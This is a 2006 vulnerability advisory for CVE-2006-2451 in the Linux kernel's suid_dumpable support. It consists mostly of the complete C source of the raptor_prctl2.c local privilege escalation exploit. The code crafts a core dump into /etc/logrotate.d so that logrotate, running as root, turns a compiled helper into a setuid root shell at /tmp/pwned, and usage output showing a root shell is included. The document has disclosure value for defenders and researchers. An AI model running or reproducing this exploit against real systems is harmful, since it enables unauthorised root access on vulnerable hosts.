[EXPL] Linux Local Root (Exploit)
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- Date: 19 Jul 2006 19:06:21 +0200
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Linux Local Root (Exploit)
------------------------------------------------------------------------
SUMMARY
The suid_dumpable support in certain versions of the
<http://www.kernel.org/> Linux kernel allows a local user to cause a
denial of service (disk consumption) attack. Also, the attacker can
possibly gain privileges via the PR_SET_DUMPABLE argument of the prctl
function,A program that causes a core dump file to be created in a
directory for which the user does not have permissions.
DETAILS
Vulnerable Systems:
* Linux kernel version 2.6.13 to 2.6.17.4
* Linux kernel version 2.6.16 to 2.6.16.24
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2451>
CVE-2006-2451
Exploit:
/*
* $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
*
* raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
* Copyright (c) 2006 Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>
*
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
* 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a
denial
* of service (disk consumption) and POSSIBLY (yeah, sure;) gain
privileges via
* the PR_SET_DUMPABLE argument of the prctl function and a program that
causes
* a core dump file to be created in a directory for which the user does
not
* have permissions (CVE-2006-2451).
*
* This exploit uses the logrotate attack vector: of course, you must be
able
* to chdir() into the /etc/logrotate.d directory in order to exploit the
* vulnerability. I've experimented a bit with other attack vectors as
well,
* with no luck: at (/var/spool/atjobs/) uses file name information to
* establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x
* permissions, xinetd (/etc/xinetd.d) puked out the crafted
garbage-filled
* coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
*
* Thanks to Solar Designer for the interesting discussion on attack
vectors.
*
* NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
*
* Usage:
* $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
* [exploit must be statically linked]
* $ ./raptor_prctl2
* [please wait until logrotate is run]
* $ ls -l /tmp/pwned
* -rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
* $ /tmp/pwned
* sh-3.00# id
* uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
* sh-3.00#
* [don't forget to delete /tmp/pwned!]
*
* Vulnerable platforms:
* Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux
2.6.13-15.8-default]
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>"
char payload[] = /* commands to be executed by privileged logrotate */
"\n/var/log/core {\n daily\n size=0\n firstaction\n chown
root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f
/var/log/core*\n endscript\n}\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" >
/tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f
/tmp/pwned.c";
int main(void)
{
int pid;
struct rlimit corelimit;
struct stat st;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */
system(pwnage);
/* set core size to unlimited */
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
/* let's create a fake logfile in /var/log */
if (!(pid = fork())) {
chdir("/var/log");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* let's do the PR_SET_DUMPABLE magic */
if (!(pid = fork())) {
chdir("/etc/logrotate.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* did it work? */
sleep(3);
if ((stat("/var/log/core", &st) < 0) ||
(stat("/etc/logrotate.d/core", &st) < 0)) {
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
exit(1);
}
/* total pwnage */
fprintf(stderr, "Please wait until logrotate is run and check
/tmp/pwned;)\n");
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/2031>
http://www.milw0rm.com/exploits/2031
<http://www.0xdeadbeef.info/exploits/raptor_prctl.c>
http://www.0xdeadbeef.info/exploits/raptor_prctl.c
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